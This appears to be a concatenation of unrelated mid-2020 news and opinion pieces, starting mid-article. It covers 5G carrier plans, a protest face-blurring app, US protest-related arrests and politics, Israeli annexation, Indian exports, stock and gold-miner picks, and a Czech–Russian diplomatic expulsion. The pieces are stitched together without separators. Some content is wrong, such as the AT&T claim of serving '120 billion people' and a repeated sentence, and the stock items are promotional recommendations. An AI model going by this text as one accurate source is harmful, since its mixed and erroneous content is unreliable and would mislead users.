In this backdrop, let us have a brief rundown about where the three leading U.S. telecom carriers stand at the moment regarding 5G deployment across the country.



AT&T Inc. T: As the first carrier in the industry, AT&T has unveiled its 5G policy framework that will hinge on three pillars  mobile 5G, fixed wireless and edge computing. In order to have a seamless transition among Wi-Fi, LTE and 5G services, the company intends to deploy a standards-based nationwide mobile 5G network in 2020. Its 5G service entails the utilization of millimeter wave spectrum for deployment in dense pockets while in suburban and rural areas, it intends to deploy 5G on mid- and low-band spectrum holdings. AT&T believes that as the 5G ecosystem evolves, customers can experience significant enhancements in coverage, speeds and devices.



By the end of April, AT&T made the 5G network available in 190 markets across the United States, serving more than 120 billion people. This primarily comprises the low-band 850MHz network in suburban and rural areas. The company also offers 5G+ services in 35 cities across its mmWave network, offering super-fast speeds in dense pockets. In order to have a seamless transition among Wi-Fi, LTE and 5G services, AT&T intends to deploy a standards-based nationwide mobile 5G network in 2020. Notably, the company aims to roll out dynamic spectrum sharing in the second half of 2020 that will enable the deployment of both 4G and 5G in the same band and proactively allocate spectrum resources between them, based on user demand. It believes that as the 5G ecosystem evolves, customers can experience significant enhancements in coverage, speeds and devices.



Verizon Communications Inc. VZ: San Diego has recently become the 35th city in the country where Verizon has introduced its 5G Ultra Wideband mobility service. The 5G Ultra Wideband network uses a millimeter-wave spectrum and is designed to provide customers significantly faster download speed and greater bandwidth compared with 4G. It hinges on three fundamental drivers to deliver the full potential of the 5G technology. These include massive spectrum holdings, particularly in the millimeter wave bands for faster data transfer, end-to-end deep fiber resources and the ability to deploy large numbers of small cells.



The company aims to retain its leading position in promulgating 5G mobile networks nationwide by using virtualized machines, advanced levels of operational automation and adaptability. Verizon has created a virtual lab to accelerate 5G innovation and sow the seeds of the future at a time, when visiting a physical lab is mired with various roadblocks due to social distancing measures. As the company continues to expand mobile and home coverage across the country, it intends to work with leading technology partners to advance the 5G ecosystem and bring unparalleled experiences to customers.



T-Mobile US Inc. TMUS: Reinforcing the inherent strength of its resilient business model, T-Mobile has achieved a historic milestone by offering 5G services across all 50 states in the country. The company recently formed a strategic collaboration with General Communication Inc., a telecommunications firm operating in Alaska, to provide 5G network connectivity in Anchorage  the largest city in the state. With this, T-Mobile reportedly became the only wireless carrier to offer 5G services throughout the country either on its own or through partner coverage.



With the merger and the subsequent integration with Sprint assets, T-Mobile has redefined itself as a wireless giant with a huge subscriber base that is comparable with rivals AT&T and Verizon. The merger has enabled T-Mobile and Sprint to join their high- and low-band spectrum for a faster nationwide 5G rollout, undeniably disrupting the competitive landscape of the U.S. telecom market. T-Mobiles network will likely have 14 times more capacity in the next six years than on a standalone basis, which will enable it to leapfrog the competition in network capability and experience. Its customers will have access to average 5G speed, which will be up to eight times faster than current LTE in a few years and 15 times faster over the next six years. Within six years, the new T-Mobile is expected to provide 5G to 99% of the U.S. population and average 5G speeds above 100 Mbps to 90% of the population. T-Mobiles business plan is built on covering 90% of rural Americans with average 5G speeds of 50 Mbps, up to two times faster than broadband.



Moving Forward



Over the years, network operators have been increasingly moving toward software defined networks, which make it possible to operate the network infrastructure remotely through software rather than any physical means. The radical improvements in network technology and automation have helped the telecom carriers to weather the coronavirus-induced turmoil, thereby preventing the virus outbreak from derailing the 5G deployment plans.



Thus, 2020  the year of 5G  appears to be on its course to hit the proverbial Bulls Eye.



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Private messaging platform Secure is all out in support of peaceful demonstrations after it introduced a new feature that auto-blurs the faces of protesters, Tom's Guide reported.

It has been an issue, especially about identity and possible identification by the police, among rallyists, should someone they know or authorities see them protesting based on their photos published online. For protesters who are also working in offices, this new Secure feature will also let them voice out their insights without being threatened to lose their jobs.

To give a background, several people are currently in protest against racial discrimination and police brutality within the "Black Lives Matter" campaign. It follows the recent death of African-American George Floyd in the hands of the police.

Several onlookers own mobile phones and photographers around the protest areas who may deliberately just take photos without being concerned about the people on the photos, especially when they post.

According to the experts, this isn't safe.

This is why the app created a feature that will automatically blur faces, thus stopping authorities from identifying you in the crowd. It adds more privacy since these photos are shared through the application.

The app utilizes face-detection to get started blurring the faces, but users may also manually blur using the provided tools. The resulting images will then be anonymized in the chat, and the app also allows you to save these blurred photos in your Gallery, making it usable in the future.

How to use the feature

To use the feature, begin by taking part in a chat, and as you tap the camera icon and take photos of the crowd or of yourself, tap the 'blur' icon.

You will get to the Blur Faces toggle. Simply use your finger to blur faces and other elements in the photos manually.

In addition, the feature also lets you remove your location and other data that users think might encroach on their privacy. Here are the steps.

First, open the Photos app in your device. Choose the photos or clips that you want to share. Click on the Share button, but remember to click Options at the top. Tap the toggle next to Location, turn it off, and click Done. Now, you can select the option on how you want to photo or clip to be shared. Under the toggle for Location, you can find All Photos Data, the report added.

What's happening now

The latest news about the protest says the violence is now beginning to ease, and the curfews are getting more relaxed, according to the New York Times.

All 50 U.S. states are staging protests, including the country's capital, Washington D.C. Around 400 towns and cities are hosting these rallies. There are more incidents taking place.

In Minneapolis, a police precinct was recently burned down, while in Atlanta, the office of CNN was vandalized. A CNN reporter and crew were arrested in Minnesota live as they were airing. Furthermore, vandalism and looting are massive in various cities.

READ ALSO: Why People's Faces in Protest Photos Should Be Blurred Before Posting Them on Social Media

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Washington (AFP) - A Republican senator broke with her party Thursday to describe a former Pentagon chief's searing rebuke of Donald Trump as "necessary and overdue," and revealed she was struggling with whether to support the US president's re-election.

Lisa Murkowski's comments marked a major break with Trump within the Republican camp, which has largely held together through various crises including his impeachment process and the president's current threat to use military force against protesters.

For days, demonstrators have flooded streets in cities across the US demanding racial justice -- in protests both peaceful and violent -- since videos of the killing of a black man by Minnesota police went viral.

Murkowski was referring to the extraordinary statement Wednesday by Trump's former defense secretary Jim Mattis who accused the president of trying to "divide" Americans and failing to provide "mature leadership" as the country reels from days of protests.

Mattis, who resigned in 2018 over Trump's ordering of a troop withdrawal from Syria, slammed the use of force to clear peaceful protesters from near the White House on Monday so that Trump could pose for photographs at a nearby church, calling it an "abuse of executive authority."

"I thought General Mattis's words were true and honest and necessary and overdue," Murkowski told reporters at the US Capitol.

"I felt like perhaps we are getting to a point where we can be more honest with the concerns that we might hold internally -- and have the courage of our own convictions to speak up."

Video: How big data can win elections

Asked if she would support Trump in November's election, the Alaska Republican responded: "I am struggling with it. I have struggled with it for a long time."

Murkowski, in her third full term in the Senate, said that many Americans are having "important conversations" about recent events starting with the death of the unarmed black man, George Floyd, in police custody in Minneapolis, and "where we are right now" as a nation.

Story continues

Senator Mitt Romney, one of the more consistent vocal Trump critics within the GOP, and the only Republican to vote to convict Trump in his February impeachment trial, reportedly described Mattis's statement as "very powerful."

But he and Murkowski appear to be Republican outliers, as the party has largely declined to embrace the Mattis view that Trump is a threat to the US Constitution.

"That's not the way I would describe what is a very difficult time in our country," Republican Senator Marco Rubio said, according to Politico. "But I have great respect for General Mattis."

Several Republicans over the years have praised Mattis for his leadership, even describing him as a steadying force in a turbulent Trump administration.

Senator Rob Portman was among them, but the Ohio Republican has also implicitly criticized Trump's handling of the protests.

"The question is tone and words, and I think some of the tones and some of the words used should be focused more on healing and less on dividing," Politico quoted Portman as saying.
Aside from the fact that what Israel is contemplating with a small part of the disputed territories is not actually annexation  its merely the long-overdue replacement of rule via military decree with ordinary civilian law  the criticism that it would preclude the so-called two-state solution is completely misguided. This is evidenced by the way various Israeli prime ministers offered to give away parts of Jerusalem as well the entire Golan Heights long after both had similarly been annexed.

Fatah, PLO and Palestinian Authority leader Mahmoud Abbas, who is invariably but incorrectly called a moderate, rejects the very core concept of two states for two peoples and his foreign minister long ago announced they would never again negotiate directly with Israel. Until the Palestinian Arabs reverse both positions, peace and the so-called two-state solution will remain inconceivable.
Since the COVID-19 outbreak, homegrown large manufacturing company ORPAT Group has witnessed a surge in enquiries for its products. Apart from meeting domestic needs that comprise about 85 per cent of the company's revenue, ORPAT has been supplying clocks, home appliances and fans to over 45 countries, mostly Asian and a few European countries. However, due to the coronavirus pandemic, many more countries are looking for alternate markets.

"Ajanta-ORPAT Group exports products to 45 countries, and in recent times, we have received many global requests for our products. We have started getting inquiry for clocks and home appliance especially fans from organised countries like USA and UK. A lot of companies don't want to have a business deal from Chinese companies," says, Nevil Patel, Director, Ajanta-ORPAT Group. However, the company has not been able to support these solicitations at this moment.

Patel believes a different market will open up for India thanks to nations unwilling to purchase from China. There will also be an export advantage for India post-COVID-19. "The Indian government is already aware of the situation and the recent changes done in the land subsidy, the capital subsidy is a testimony to the fact that India is ready to welcome any investment out of China with open arms. This would enhance job opportunities, and also develop India on the technology front. There are significant chances that a few MNC's will opt for India to expand their business lines, but India must stick on the objective to have a larger pie in its kitty. It can be achieved by providing a single-window clearance of land, better electricity, water, and road access," adds Patel.

Gujrat-based ORPAT Group has a wide range of products in its portfolio, and all products are manufactured in India. The portfolio includes telephone, educational toys, mixer grinder, hand blender, iron, room heater, sandwich toaster, fans, switch, socket, regulator, fuses, lamp holder, electric doorbells, extension cord, pallets & crates. "Right from plastic injection moulding of components and manufacturing of printed circuit boards and electronic modules to making electric motors for fans, mixers and blenders, we do everything at the ORPAT Industrial Estate," explains Patel. However, the company does source certain components from China as they are not available in India.

ORPAT has around 450 depot and 50,000 retailers to reach the Indian market. The company aims to become the largest manufacturer of the consumer durables by implementing its simple business model of supplying Indian products globally, delivering good quality and international design at affordable prices, and giving consumer satisfaction to utmost priority. It has also visualised total in-house production processes. The group aims to become the highest employment generator company for women and the largest employment provider in the state of Gujarat.

Also Read: 21.8% of SBI customers avail moratorium facility on loan EMIs

Also Read: Is billionaire Uday Kotak on a hunt for M&As in a post-COVID world?

Also Read: RBI sets up Payments Infrastructure Development Fund to boost digitisation
Much is being written about a V-shaped recovery at the moment. However, a glance at the 52-week high and low lists this week showed that the rally was cosmetic. The trends of the pandemic are still dominating the TSX and will likely continue to do so until the situation finds a backstop  most likely a vaccine. Lets take a look at which areas are still getting battered right now and which are staying afloat.

Why this market is about safety in numbers

The Second Cup hit a year-long low this week, as did Indigo Books. Investors looking for alternatives should consider Restaurant Brands as a safer play on the coffee-and-danish model, due to its Tim Hortons exposure. Shopify remains a stronger play for retail right now than brick-and-mortar retailers. However, the reverse is equally true, depending on your investment strategy, since value investors have a cheaper play on these themes with Second Cup and Indigo.

Indeed, value for money has never been better in these two names. Second Cup has never traded at a lower price than its current $0.74 per share. Speaking of all-time lows, the same goes for book-and-homeware retail outfit Indigo, selling for $1.30 a pop. However, both names look like falling knives in the current market with flashing sell signals. After all, as the old adage goes, lost sales are lost forever.

Investors may indeed be better off, therefore, by sticking with bigger names. A larger market capitalization is a surefire indicator of a more defensive pick. And while retail is still a no-go area, the thesis for buying disrupting names like Shopify is increasingly strong. After all, why buy names that are experiencing declines in potential when there are higher-momentum alternatives?

Retail-disrupting stocks are here to stay

Selling shares in retail names like Indigo is a good way to trim dead wood from a stock portfolio right now. At the end of the day, with tech platforms like Shopify, practically anybody can build a bookstore. E-commerce has made retail industry disruption a game-changing investment thesis. And with a certain element of physical distancing likely to persist even after the pandemic, digitalization stocks are looking increasingly attractive.

Story continues

Meanwhile, a perusal of the 52-week high charts told a familiar story midweek. Investors werent pushing many names to new heights beyond the usual low-risk and pandemic-specific themes. Stocks that did hit year-long highs, however, included Guyana Goldfields and the Horizons Robotics Automation IDX ETF. Pharma stocks also got a look in, such as ImmunoPrecise Antibodies.

Though the markets were somewhat flat at the start of the week, investors are clearly still seeking solutions to the pandemic. Automation in the workplace is a strong theme, from supply chain management to logistics software. Robotics investment is a slant on this, reflecting the combination of business automation with the efficacy of industrial machines. The latter is a key theme to keep an eye on for growth in an increasingly topsy-turvy market.

The post Which TSX Stocks Hit 52-Week Lows This Week? appeared first on The Motley Fool Canada.

More reading

Fool contributor Victoria Hetherington has no position in any of the stocks mentioned. Tom Gardner owns shares of Shopify. The Motley Fool owns shares of and recommends Shopify and Shopify. The Motley Fool recommends RESTAURANT BRANDS INTERNATIONAL INC.

The Motley Fools purpose is to help the world invest, better. Click here now for your free subscription to Take Stock, The Motley Fool Canadas free investing newsletter. Packed with stock ideas and investing advice, it is essential reading for anyone looking to build and grow their wealth in the years ahead. Motley Fool Canada 2020
The global uncertainty and financial-market volatility led to global gold ETFs seeing inflows of 623 tons (valued at $33.7 billion) during the January-May period, surpassing the previous high of 591 tons witnessed in 2009. In May, gold ETFs added 154 tons or $8.5 billion, taking the total holdings to an all-time high of 3,510 tons. Assets under management (AUM) hit a record $195 billion in May, aided by the combination of positive flows as well as higher gold prices. Per the World Gold Council, assets in global gold-backed ETFs have nearly doubled over the past 12 months.



This May, inflows were led by North American ETFs, which boosted holdings by 102 tons ($5.6 billion). Ongoing demonstrations in the United States and concerns that these will likely lead to a spike in coronavirus cases have been weighing on market sentiment. Total holdings stood at 1,815 tons, surpassing the previous high of 1,736 tons held in December 2012. European funds increased their holdings by 45 tons or $2.4 billion. Asian funds, mainly in China, grew 4.7% or 4.4 tons ($262 million), while funds in other regions grew 4.3%, adding 2.6 tons ($136 million).



Gold for delivery in August closed at $1,727.40 on Jun 4, yielding a year-to-date return of 11.5%. This year, everything seems to be working in favor of gold, starting with the U.S-Iran tensions, the coronavirus pandemic, strained U.S.-China relations and the ongoing civil unrest in the United States.



On the back of the gold-price rally, the Gold Mining industry has gained 15.5%, year to date, as against the S&P 500s decline of 3.5%. The industry falls under the broader Basic Material sector, which declined 7%.





Will Gold Keep Shining?



The pandemic has impacted gold production as miners had to suspend operations in accordance to government mandates. Per the World Gold Council, gold production in the first quarter declined 3% year over year  marking the steepest decline since first-quarter 2017. Consequently, an impending demand-supply imbalance bodes well for gold prices.



With the coronavirus pandemic showing no signs of dissipating any time soon, the uncertainty regarding the impact on the global economy will keep aiding gold. It will continue to be the preferred investment option supported by the low interest-rate environment as well as political uncertainties.



The gold mining industry currently carries a Zacks Industry Rank #15, which places it at the top 6% of 256 Zacks industries. Our research shows that the top 50% of the Zacks-ranked industries outperforms the bottom 50% by a factor of more than 2 to 1.



Using the Zacks Screener we have picked promising gold stocks, which have a combination of a VGM Score of A or B and a Zacks Rank #1 (Strong Buy) or 2 (Buy) and offer solid investment opportunities. You can see the complete list of todays Zacks #1 Rank stocks here.



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AngloGold Ashanti Limited AU: Based in Johannesburg, South Africa, the company currently carries a Zacks Rank #2 and has a VGM Score of B. The company has a long-term estimated earnings growth rate of 19.5%. The Zacks Consensus Estimate for 2020 earnings indicates a year-over-year surge of 59%. The estimate has been revised 5% upward over the past 60 days.



Barrick Gold Corporation GOLD: Based in Toronto, Canada, this company currently carries a Zacks Rank #2 and has a VGM Score of B. The Zacks Consensus Estimate for current-year earnings suggests a year-over-year improvement of 65%. The estimate has moved 11% north in the past 60 days. The company has a trailing four-quarter positive earnings surprise of 15.4%, on average. The stock has a long-term anticipated earnings growth rate of 2%.



B2Gold Corp. BTG: The Zacks Consensus Estimate for fiscal 2020 earnings of this Vancouver, Canada-based company suggests growth of a whopping 220% compared with the prior fiscal year. The estimate has been revised 10% upward in 60 days time. The company surpassed estimates in each of the preceding four quarters, the average positive surprise being 21.5%. The stock currently holds a Zacks Rank #2 and has a VGM Score of A. The stock has a long-term projected earnings growth rate of 16.3%.



Pretium Resources Inc. PVG: This Vancouver, Canada-based company also carries a Zacks Rank #2 currently and has a VGM Score of A. The Zacks Consensus Estimate for the current fiscal year suggests year-over-year growth of 16.4%. The estimate has gone up 8% over the past 60 days. The company has a trailing four-quarter positive earnings surprise of 33.1%, on average.



Kinross Gold Corporation KGC: Based in Toronto, Canada, the company presently holds a Zacks Rank #2 and has a VGM Score of A. The Zacks Consensus Estimate for ongoing-year earnings indicates a year-over-year jump of 61%. The estimate has moved 17% north in the past 60 days.The company has a trailing four-quarter positive earnings surprise of 38.8%, on average.



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The New York City lawyers accused of hurling a Molotov cocktail into a NYPD van are back in custody after a decision to release them on bail was reversed in court.

On Friday, the US Attorney's Office for the Eastern District of New York announced that lawyers Urooj Rahman, 31, and Clinford Mattis, 32, were back in federal custody after the U.S. Court of Appeals reversed the bail decision by the District Court.

Meanwhile, a video has emerged that reveals Rahman blaming Mayor Bill de Blasio for not restraining officers for their own safety less than one hour before the alleged incident.

Last week, Rahman and Mattis were arrested for throwing a Molotov cocktail at the police cruiser during volatile clashes over the death of George Floyd at the Barclays Center in Brooklyn.

They were chased by police and charged with attempting to damage or destroy law-enforcement vehicle by fire or explosives, which carries a minimum of five years in jail and maximum of 20 years.

In a video taken on May 30, Urooj Rahman (pictured) said New York City Mayor Bill de Blasio is to blame for not pulling back NYPD officers during volatile protests in Brooklyn

In a new video from May 30, Rahman claimed de Blasio should have pulled back the city's law enforcement like Mayor Jacob Frey of Minneapolis did.

'I think the mayor should have pulled his police officers back in the way the mayor in Minneapolis did, she said, while standing near the Barclays Center in Brooklyn.

'I think the mayor should have done that, because if he really cared about his police officers, he should have realized that its not worth them getting hurt.'

On that night of protests, tensions flared between the NYPD and protesters as more than 200 people were taken into custody.

Protesters launched bottles at officers and one demonstrator was charged with murder for allegedly tossing a homemade firebomb at a vehicle occupied by several officers.

Cell phone footage of a 20-year-old woman having a violent seizure after being pushed to the ground by a NYPD officer further evoked civil unrest.

Lawyers, Colinford Mattis, 32, and Urooj Rahman, 31, who were charged for allegedly tossing a Molotov cocktail into a NYPD vehicle early Saturday morning were also trying to pass out firebombs to other George Floyd demonstrators, federal authorities said

Rahman (pictured): 'I think the mayor should have done that, because if he really cared about his police officers, he should have realized that its not worth them getting hurt'

A witness told authorities that Rahman (pictured during the incident) 'tried to distribute Molotov cocktails to the witness and others so that those individuals could likewise use the incendiary devices in furtherance of more destruction and violence'

The US Attorney's Office for the Eastern District of New York announced Rahman and Mattis were back in federal custody

About 40 minutes before Rahman's interview, surveillance cameras allegedly filmed her throwing the Molotov cocktail into a police cruiser near the 88th precinct.

One week after the incident, de Blasio revealed that the NYPD Chief will announce suspensions and disciplinary actions against officers who used rough tactics to ensure curfew.

According to Rahman, violence against law enforcement is 'understandable' because 'people are angry because the police are never held accountable.'

'This has got to stop. And the only way they hear, the only way they hear us is through violence, through the means that they use,' she said.

'Through the means that they use. You got to use the master's tools. '

Rahman (pictured): ''This s*** wont ever stop unless we f***** take it all down. And thats why the anger is being expressed tonight in this way'

In the video, Rahman is seen wearing the same face covering, bracelet and shirt that was pictured in a photo shared by Brooklyn federal prosecutors.

'This s*** wont ever stop unless we f***** take it all down. And thats why the anger is being expressed tonight in this way,' said Rahman. 'I think this protest is a long time coming.'

Rahman claims that protesters that night were 'not targeting random people, theyre targeting precinct.'

'Its a way to show their pain, their anger.'

Mattis and Rahman were initially released on bail Monday, despite objections from prosecutors.

Clinford Mattis and Urooj Rahman (left to right) were arrested in Brooklyn last week for allegedly throwing a Molotov cocktail at a NYPD van during demonstrations

It was revealed on Monday that Mattis and Rahman also attempted to pass out the incendiary devices to others who were at the protest.

According to the New York Post, a bystander told authorities that Rahman 'tried to distribute Molotov cocktails to the witness and others so that those individuals could likewise use the incendiary devices in furtherance of more destruction and violence'.

The bystander even snapped a photo of the pair in the car while they were allegedly trying to pass out the devices.

Police say Rahman, a registered attorney in New York, tossed a bottle filled with gasoline through a broken window into the cruiser just before 1am but the Molotov cocktail failed to ignite.

Urooj Rahman stands by the side of the sidewalk after being arrested for throwing a Molotov cocktail at an NYPD van in Brooklyn

Colinford Mattis stands handcuffed on the street after being arrested for tossing a Molotov cocktail during unrest on Friday night

Rahman then jumped into a van that Mattis was driving and together they sped away from the scene according to the New York Daily News.

'No rational human being can ever believe that hurling firebombs at police officers and vehicles is justified,' Brooklyn US Attorney Richard Donaghue said.

Mattis lives in East New York and graduated from Princeton University and New York University law school in 2016, according to his Linkedin page.

Hes an associate with Pryor Cashman, a corporate law firm in Times Square where he specializes in start-ups, and is a member of Community Board 5 in East New York.

By Sunday evening his profile on the law firm's website was deleted.

The smoldering remains of a scorched police car pictured above vandalized during riots in Fort Greene in Brooklyn on Friday

'This is shocking news to me. The allegation does surprise me because that doesnt sound like him,' Andre Mitchell, president of Community Board 5, said to the Daily News.

Rahmans social media shows she graduated from Fordham University in New York.

The super of Rahmans building in Bay Ridge, Brooklyn described her as 'an angel' who recently lost her legal job.

'I cant believe it. Im stunned. This kid? Shes an angel,' George Raleigh said.

On Friday, de Blasio vowed that New Yorkers 'will see a change in this city' over the role of NYPD officers.

New York City Mayor Bill de Blasio has said that suspensions and disciplinary actions will be announced by the NYPD, after officers were accused of using excessive force

'You will see change in this city. You will see change in the NYPD. We simply have not gone far enough. The status quo is still broken, it must change,' the mayor said at a press conference on Friday.

'This will be the work for the next year and a half of this administration: To make more change, to make it urgently, to make it powerfully, to make it clear,' he continued.

'And that work will proceed immediately. And you will see those results and you will judge for yourself, as all New Yorkers do.'

The mayor continued to try to walk a tightrope between appeasing protesters and avoiding alienating the NYPD, which he has had a sometimes difficult relationship with in the past.

De Blasio said there are adjustments that continue to need to be made to the NYPD response to peaceful protests, but praised the department's 'overall restraint levels.'

A protester is arrested on Fifth Avenue by NYPD officers during a march Thursday in the Manhattan borough of New York. Police have been detaining and arresting curfew violators

Police officers arrest people for breaking the curfew as they continued to protest demanding an end to police brutality and racial injustice over the death of George Floyd on Thursday

The mayor there have been occasional instances of police behavior that needs to be reviewed by NYPD Commissioner Dermot Shea.

'Each night we see  certainly several  situations that raise real questions. Individual instances where our officers have taken action that raises a valid concern,' he said.

'In each and every case, there must be a full investigation, and where discipline is warranted, it needs to be speedy,' the mayor said.

'The vast, vast majority of officers do their job, do it right. But when someone does something wrong, as in all of our society, there must be consequences. Commissioner Shea made it clear yesterday, disciplinary action is about to be announced, some will include suspensions of officers. There's a lot going on.'

Regarding the curfew, he said 'the broad goals' of ending property destruction and violence had been achieved, so far.

'The last three nights, I think, have shown obviously a very marked improvement, compared to those very two troubling nights before that came out of nowhere and were absolutely unacceptable,' de Blasio said.

The curfew will end Monday morning at 5am, the same day that New York City is set to enter Phase 1 reopening from pandemic lockdown.
A New York man has been charged with attempted murder for brandishing a knife-claw at protesters and telling them: 'I'll kill you' - before driving his SUV along the sidewalk and attempting to hit them.

Frank Cavalluzzi, 54, confronted protesters in the Whitestone area of Queens on Tuesday.

Well-known to the police, and with a history of making threats on social media, Cavalluzzi is seen brandishing a knife claw and threatening the Black Lives Matter demonstrators before ramming his car at them.

Frank Cavalluzzi, 54, has been charged with attempted murder for attacking protesters

Melinda Katz, Queens district attorney, said it was 'amazing' that no one was killed in the incident.

He was arraigned on charges including attempted murder in the second degree, attempted assault in the first and second degree, reckless endangerment in the first degree, menacing in the second degree, endangering the welfare of a child and criminal possession of a weapon in the fourth degree.

'In a burst of anger and rage, this defendant allegedly sought to kill protesters who were peacefully assembled and exercising their right to free speech,' said Katz.

'No one at any time should infringe upon another's Constitutionally-protected freedoms and doing so with the intent to injure and maim is criminal.'

Cavalluzzi's Facebook page shows his support for Donald Trump and a series of gun rights groups.

The day before the attack Cavalluzzi posted on Facebook that someone had robbed his van, and threatened to 'burn their house to the ground'.

In the week prior to his attack he seemed to be growing increasingly furious as protests mounted, tweeting: 'I still have that bullet in the chamber, and several others for the rest of the scum trying to take down my constitution'.

Cavalluzzi posted on Facebook that he had been robbed the day before his rampage

Cavalluzzi was increasingly angered by the protests which had sprung up since Floyd's killing

Even before the killing of Floyd on May 25, Cavalluzzi was posting in fury against the government, railing against what he said was an attempt to take away Americans' guns

Protests had been largely peaceful Tuesday, and streets were calmer than they have been in the days since the killing of George Floyd set off sometimes violent demonstrations against police brutality and injustice.

But a number of videos of this incident were widely shared online showing the man driving up onto the sidewalk where a number of people were protesting.

People are forced to run out of the way of the vehicle before he speeds off.

In a second clip the man tells onlookers: 'I'll kill you. I'll kill you.'

Footage shows Cavalluzzi threatening to kill protesters while brandishing knifes

Cavalluzzi pulled onto the sidewalk in Queens on Tuesday before driving at demonstrators. People are forced to run out of the way of the vehicle before he speeds off

He appears to have a number of knives strapped to his arm. Protesters run and can be heard screaming as he shouts at them.

Arianna Agudo, who posted the footage, said: 'This man had four knives tied up on his arm and was trying to stab kids and then he got up on his car and got on the sidewalk and tried to run over this people, people who are less than 21-years-old.'

She added: 'People are literally crazy. They don't even think twice on taking somebody's life and end it just like that.

'I'm sick and tired of this! People are protesting for what's right, for justice! They're not doing nothing wrong!'

Posting the footage to Twitter, @lambomursy wrote: 'Right now this man in Whitestone New York was threatening people with a sword/multiple blades and then drove right through them ..... someone find out who he is right now.'

Another protester added: 'Please find this man. We were putting signs up, he drove on the street to run us down and had a weapon. There's kids here.'

Cavalluzzi is pictured driving away from the scene on Tuesday. He was arrested on Thursday

Cavalluzzi, who lives in upstate New York, has business interests in Queens, and a long history of run-ins with the law.

He has eight prior arrests dating back to 1988, the New York Post reported, and was most recently detained on January 22, 2016 for assaulting a police officer, resisting arrest and obstruction during a traffic stop on the Upper East Side.

That incident bears strong parallels to Tuesday's attack: he is accused of exiting his vehicle, acting erratically and running and screaming towards the officers vehicle before attacking the patrol-person.

In April 2012 he was charged with menacing with a weapon in the second degree after he punched his female landlord, displayed a knife and again, threatened officers, police said.

In February 2004 he was arrested for intentionally breaking the rear window of a vehicle and resisting arrest during a road rage incident.

Back in September 1998, he was charged with harassment, assault causing injury with a weapon and for leaving the scene of an accident in another road rage dispute.

Queens Criminal Court Judge Mary Berjarano set Cavalluzzis bail at $100,000.

His next court appearance is set for July 2.

If convicted, he faces up to 25 years in prison.
ALBANY  Albany County District Attorney David Soares and primary challenger Matthew Toporowski debated issues including bail reform, mass incarceration and specialty treatment courts during a roughly 30-minute forum on Thursday evening.

The League of Women Voters of Albany County hosted the debate, which was livestreamed on YouTube. A recording is available to view on the league's YouTube channel and begins at the 80-minute mark.

Soares emphasized his record and accomplishments during his four terms in office while Toporowski attacked Soaress record, accusing him of fighting against recent criminal justice reforms and criticizing his office for not being transparent enough.

We need to redefine what public safety means for our communities, Toporowski said. The public needs transparency to hold the district attorney accountable.

Soares argued that his efforts to protect communities while advocating for some reforms should be the reason for voters to choose him again.

My life experience, my professional experience reflect that I am the only qualified candidate for the job, he said, pointing to new alternative-to-incarceration programs his office introduced.

Watch the exchange here:

The two Democrats sparred over recent criminal justice reforms.

Soares said he approved of almost all the reforms the state legislature has passed, arguing 85 percent of it was needed.

The reality is that people who are accused with evidence of committing a crime that are nonviolent or dont pose a threat to the public, they shouldnt be sitting in jail awaiting trial, he said, speaking of laws that reduce the number of crimes eligible for bail.

Toporowski accused Soares of being one of the voices against the reforms when he was president of the state district attorneys association.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

I would support more of those reforms. DA Soares was the leading advocate for rolling those back, he said.

Toporowski also challenged Soares record for corruption and public integrity convictions, naming recent politicians charged with misconduct and questioning why Soaress office hadnt brought those cases in his county.

The list goes on in politicians engaged in corruption right there in our backyard in Albany, he said.

Soares noted that his office prosecuted former state comptroller Alan Hevesi and that since then, other public corruption cases were taken over by federal prosecutors.

The two men are set to have at least one more debate on June 13. The Democratic primary is June 23.
PRAGUE, Czech Republic - The Czech Republics spy agency has discovered that a diplomat from the Russian Embassy in Prague spread false information about a Russian assassin arriving to allegedly target the Czech capitals mayors, Prime Minister Andrej Babis said Friday.

Babis said the findings of the counter-intelligence agency known as BIS clearly show that the whole case was a result of an infighting between the staffers at the Russian Federation Embassy in Prague.

One of them sent to our counter-intelligence service false information about a planned attack against Czech politicians, he said.

Babis said the action further complicated Czech-Russian relations. Czech authorities took all necessary measures, and two Russian diplomats at the embassy were declared persona non grata and expelled, he said.

We have an interest in having good relations with all countries, but were a sovereign state and such actions on our territory are unacceptable, the prime minister said.

The Russian Foreign Ministry warned in a statement that Pragues actions will not only draw a response in kind, but also will be taken into account in shaping the Russian policy toward the Czech Republic.

By taking that unfriendly step, the Czech side has acted indecently and unworthily, the Russian ministry said. The Czech authorities have inflicted a serious damage to the Russian-Czech relations without any reason whatsoever. It will be necessary to respond to such provocations.

The alleged assassination plot surfaced in April when the investigative Respekt weekly magazine reported that Czech intelligence services suspected that a Russian who arrived in Prague on a diplomatic passport was sent to poison Prague Mayor Zdenek Hrib and Prague 6 district mayor Ondrej Kolar with ricin, a potent toxin derived from castor beans.

The story was based on anonymous sources. The Czech Foreign Ministry only confirmed that a Russian diplomat arrived in Prague in March.

The Russian Embassy protested at the time, calling the allegations baseless and designed to discredit Russia. The Czech Foreign Ministry responded that it was inappropriate for a foreign state to question basic rights such as freedom of the press.

Kolar, Hrib and the mayor of Pragues Reporyje district, Pavel Novotny, all consequently received police protection.

Russian Foreign Minister Sergey Lavrov ridiculed the claims published in the magazine, saying that the notion that Czech authorities spotted a Russian man equipped with ricin and let him through didnt make sense.

Czech officials didnt comment in April but Kolar said in a television interview that he was under police protection because of some facts that have been found, the fact that theres a Russian here whose goal is to liquidate me.

He added that the alleged assassin was also targeting Hrib and Pavel Novotny, the mayor of Pragues Reporyje district.

The three had been involved in actions that previously angered Russia.

In February, a Prague square in front of the Russian Embassy was renamed after slain Russian opposition leader Boris Nemtsov, with Hrib unveiling the new nameplate.

In April, Kolars district removed a statue of Soviet World War II commander Ivan Stepanovic Konev, whose armies completed the liberation of Prague from Nazi occupation.

The statues removal caused outrage in Russia, which has angrily lashed out at any attempts to diminish the nations decisive role in defeating the Nazis.

Novotny provoked Moscows ire with plans to build a monument to the soldiers of Gen. Andrei Vlasovs army. Over 300 of them died when they helped the Czech uprising against Nazi rule and contributed to Pragues liberation. Their role is controversial for Russia, however, because they previously fought against the Red Army alongside Nazi troops.

___

Vladimir Isachenkov in Moscow contributed to this report.
A 30-year-old man who had recently returned from abroad by a flight under the Vande Bharat Mission was on Friday found dead at the quarantine facility where he was lodged upon arrival, police said.

